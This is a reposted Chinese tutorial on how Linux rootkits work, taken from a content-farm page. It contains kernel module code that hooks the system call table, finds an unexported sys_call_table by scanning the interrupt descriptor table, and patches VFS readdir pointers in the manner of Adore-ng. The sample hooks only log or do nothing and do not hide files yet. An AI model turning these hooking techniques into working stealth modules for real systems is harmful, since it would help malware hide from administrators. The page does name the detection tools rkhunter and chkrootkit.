rootkit的主要原理 -电脑资料
创始人
2025-11-14 08:16:51
0

上面是网上随处可见的rootkit的一篇文章,抱着辩证的态度读之,N年前的东西了,有值得借鉴的也有out的东东了,

rootkit的主要原理

由于getdents64()是系统调用,所以要干预它,只能在内核中,通过驱动程序方式,在Linux下就是LKM方式。目前有两种方法来”干预”。

1.Hook系统调用表(system call table)的getdents64调用项

先看个代码:

#include

#include

#include

#include

#include

#include

#include

#include

#include

MODULE_LICENSE("GPL");

extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */

int (*orig_mkdir)(const char *path); /*the original systemcall*/

int hacked_mkdir(const char *path)

{

return 0; /*everything is ok, but he new systemcalldoes nothing*/

}

int init_module(void) /*module setup*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

sys_call_table[SYS_mkdir]=orig_mkdir;

/*set mkdir syscall to the origalone*/

}复制代码

上面的代码看看就行,看看过程!!!我也不知道在那里search到得了,用这种方法实现系统调用有个前提,就是系统必须导出 sys_call_table内核符号,但是在2.6中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void *sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现方法:

#include

#include

#include

#include

#include

MODULE_LICENSE("GPL");

unsigned long *sys_call_table=NULL;

asmlinkage int (*orig_mkdir)(const char *,int);

struct _idt

{

unsigned short offset_low,segment_sel;

unsigned char reserved,flags;

unsigned short offset_high;

};

unsigned long *getscTable(){

unsigned char idtr[6],*shell,*sort;

struct _idt *idt;

unsigned long system_call,sct;

unsigned short offset_low,offset_high;

char *p;

int i;

/* get the interrupt descriptor table */

__asm__("sidt %0" : "=m" (idtr));

/* get the address of system_call */

idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);

offset_low = idt->offset_low;

offset_high = idt->offset_high;

system_call=(offset_high<<16)|offset_low;

shell=(char *)system_call;

sort="\xff\x14\x85";

/* get the address of sys_call_table */

for(i=0;i<(100-2);i++)

if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])

break;

p=&shell[i];

p+=3;

sct=*(unsigned long*)p;

return (unsigned long*)(sct);

}

asmlinkage int hacked_mkdir(const char * pathname, int mode){

printk("PID %d called sys_mkdir !\n",current->pid);

return orig_mkdir(pathname,mode);

}

static int __init find_init(void){

sys_call_table = getscTable();

orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];

sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;

return 0;

}

static void __exit find_cleanup(void){

sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;

}

module_init(find_init);

module_exit(find_cleanup);复制代码

getscTable()是在内存中查找sys_call_table地址的函数,

电脑资料

《rootkit的主要原理》()。每一个系统调用都是通过int 0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会 调用system_call中断服务程序。 system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址,用 __asm__ ("sidt %0" : "=m" (idtr));指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置,然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函 数内,是用call sys_call_table指令来调用系统调用函数的。

因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。

这种hook系统调用表的方法在Linux rootkit中曾经流行一时,但现在已经成为过去式,因为反 软件通过检查系统调用表(与干净的该系统调用表的备份一比较)就能发现有 软件驻留。可以通过rkhunter和chkrootkit检查看看!!!

2. Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。

通过修改VFS(Virtual File Switch)中的相关函数指针来实现隐藏文件这是比较新,也是让反 软件比较头痛的一种方法。所谓VFS是Linux在实际文件系统上抽象出的一个文 件系统模型,而各个具体的文件系统,比如象ext3,vfat等,则是VFS这个抽象类的子类,这个我也不是很懂。

Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。下篇文章我讲分析下Adore-ng源码.

下面是它的实现方法:

#include

#include

#include

#include

#include

#include

MODULE_LICENSE("GPL");

char *root_fs="/";

typedef int (*readdir_t)(struct file *,void *,filldir_t);

readdir_t orig_root_readdir=NULL;

int myreaddir(struct file *fp,void *buf,filldir_t filldir)

{

int r;

printk("<1>Y

ou got me partner!\n");

r=orig_root_readdir(fp,buf,filldir);

return r;

}

int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)

{

struct file *filep;

filep=filp_open(p,O_RDONLY,0);

if(IS_ERR(filep))

return -1;

if(orig_readdir)

*orig_readdir=filep->f_op->readdir;

filep->f_op->readdir=new_readdir;

filp_close(filep,0);

return 0;

}

int unpatch_vfs(const char *p,readdir_t orig_readdir)

{

struct file *filep;

filep=filp_open(p,O_RDONLY,0);

if(IS_ERR(filep))

return -1;

filep->f_op->readdir=orig_readdir;

filp_close(filep,0);

return 0;

}

static int patch_init(void)

{

patch_vfs(root_fs,&orig_root_readdir,myreaddir);

printk("<1>VFS is patched!\n");

return 0;

}

static void patch_cleanup(void)

{

unpatch_vfs(root_fs,orig_root_readdir);

printk("<1>VFS is unpatched!\n");

}

module_init(patch_init);

module_exit(patch_cleanup);

上一篇: 新居对联

下一篇: 婚礼致辞新郎

相关内容

热门资讯

我们的校园真美写景作文 我们的校园真美写景作文  和煦的春风吹绿了杨柳,吹红了桃花,吹嫩了小草。春风吹呀吹呀,吹进了咱们“全...
我想发明机器人作文 我想发明机器人作文(集锦15篇)  在平日的学习、工作和生活里,大家都经常看到作文的身影吧,作文可分...
教师节的征文 有关教师节的征文600字(精选15篇)  九月金秋,一个收获的季节,一个感恩的季节,一个属于教师的季...
家乡的变化征文 家乡的变化征文四篇  我们每个都有属于自己的家乡,每当家乡发生变化总会牵动我们的心。下面是小编为大家...
我爱我家小学征文 我爱我家小学征文5篇  家,顾名思义,是一个幸福的代名词,它是孩子成长的摇篮,是孩子栖息的港湾。下面...
小学二年级上册数学教学设计 小学二年级上册数学教学设计(通用11篇)  作为一无名无私奉献的教育工作者,通常需要准备好一份教学设...
我羡慕她小学生作文500字 我羡慕她小学生作文500字  自从上了小学,她就一直是我羡慕的对象。  看吧,上天赐予了她多么美丽的...
我得到了什么作文 我得到了什么作文(通用15篇)  无论是在学校还是在社会中,大家都经常接触到作文吧,作文可分为小学作...
小学四年级音乐下册教学计划 小学四年级音乐下册教学计划(通用10篇)  时间是看不见也摸不到的,就在你不注意的时候,它已经悄悄的...
小学生春雨作文300字 小学生春雨作文300字六篇  在平日的学习、工作和生活里,大家都写过作文吧,借助作文可以提高我们的语...